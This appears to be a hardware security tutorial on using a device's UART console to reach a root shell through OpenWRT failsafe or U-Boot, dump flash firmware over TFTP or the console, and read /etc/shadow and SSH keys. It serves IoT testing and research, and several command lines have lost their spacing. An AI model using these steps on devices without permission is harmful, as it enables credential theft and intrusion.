Got a working connection to UART (if not check: Connect to UART)
Not all UART interfaces are the same. Infact manufacturers could output actually anything over it. So there is no guarante you can abuse UART to dump firmware or get a shell on the device. But there are common methods, which we want to discuss further:
Some manufacturers build a failsafe mode in their devices, which is designed as a recovery option, if the device is not operating correctly. An example for this is OpenWRT, which will print something like this in the bootlog:
Press the [f] key and hit [enter] to enter failsafe mode
Press the [1], [2], [3] or [4] key and hit [enter] to select the debug level
Pressing F will give us a root shell:
Depending on your device you may have to mount the correct filesystem first:
Run ls /dev or blkid to locate storage devices and partitions (e.g., /dev/sda1, /dev/mmcblk0p2).
Use these commands to first create a mount point and then mound the filesystem:
mkdir /mnt/filesystem
mount /dev/<root_partition> /mnt/filesystem
Now you may access the filesystem under /mnt/filesystem
From here we can check if the root-filesystem is already been mounted and we can look for:
/etc/shadow hashes
ssh private keys
other credentials
If U-Boot is used, chances are that the "stop autoboot" function may not be disabled. Here we have to press any key within a certain timespan (for example 5 sec) and we will be provided with a U-Boot shell
Typing help will give us a list of all available commands
To dump the firmware, we can then use one of these options:
Using TFTP:
On your attacker host:
Set up a TFTP server sudo apt install tftpd-hpa (files will be stored in/srv/tftp)
Create a firmware.bin file, as in TFTP that can't be done by the client:
cd /srv/tftp
sudo touch firmware.bin
sudo chmod 666 firmware.bin
In U-Boot:
Setup IP-Adresses:
setenv ipaddr <IP of target> (e.g.: 10.0.0.2)
setenv serverip <IP of attacker host> (e.g.: 10.0.0.1)
check if IP Adress are saved: printenv
Initialize the flash with sf probe 0.
Copy the flash contents to RAM (adjust offset and size):
sf read <addr in RAM> <offset in flash> <size>
sf read 0x82000000 0x0 0x1000000. (=16MB in this case)
Transfer the data with TFTP:
tftp <addr> <filename> <size>
tftp 0x82000000 firmware.bin 0x1000000.
We can also dump it in the console: (CAN BE SLOW!)
Read data:
md.b <offset to read from> <number of bytes to read>
example: md.b 0x82000000 0x1000000
Save data to file using CTRL-A L in minicom for example (has to be trimmed)
If we want to dump from an MMC:
#list available MMCsmmclist# select an MMC to dump (we have to select one else next commands fail)mmcdev0#get info of mmcmmcinfo# get partition to see which partition we wanna dump (e.g. rootfs)mmcpart# search in partitionext4lsmmc<device>:<partition><path>ext4lsmmc1:8/home/root# read file from MMC to RAMext4loadmmc<device>:<partition><memory_addressinram><file_path>ext4loadmmc1:80xC6200000/etc/shadow# show the file from memorymd.b<memory_addressinram><size>md.b0xC62000000x43C
If you drop directly into a root shell or if you can figure out the root-password (e.g. default creds), you can simply dd the partition to a usb stick or transfer it another way.
Example:
sudoddif=/dev/sdaof=/dev/sdbbs=4Mstatus=progress
Replace:
/dev/sda with your root filesystem device
/dev/sdb with your USB stick device
Ensure you verify the correct device paths to avoid overwriting important data. You can use lsblk or fdisk -l to check your devices.
Analyze firmware
Using binwalk firmware.bin we can try to analyze the firmware and extract sensitive information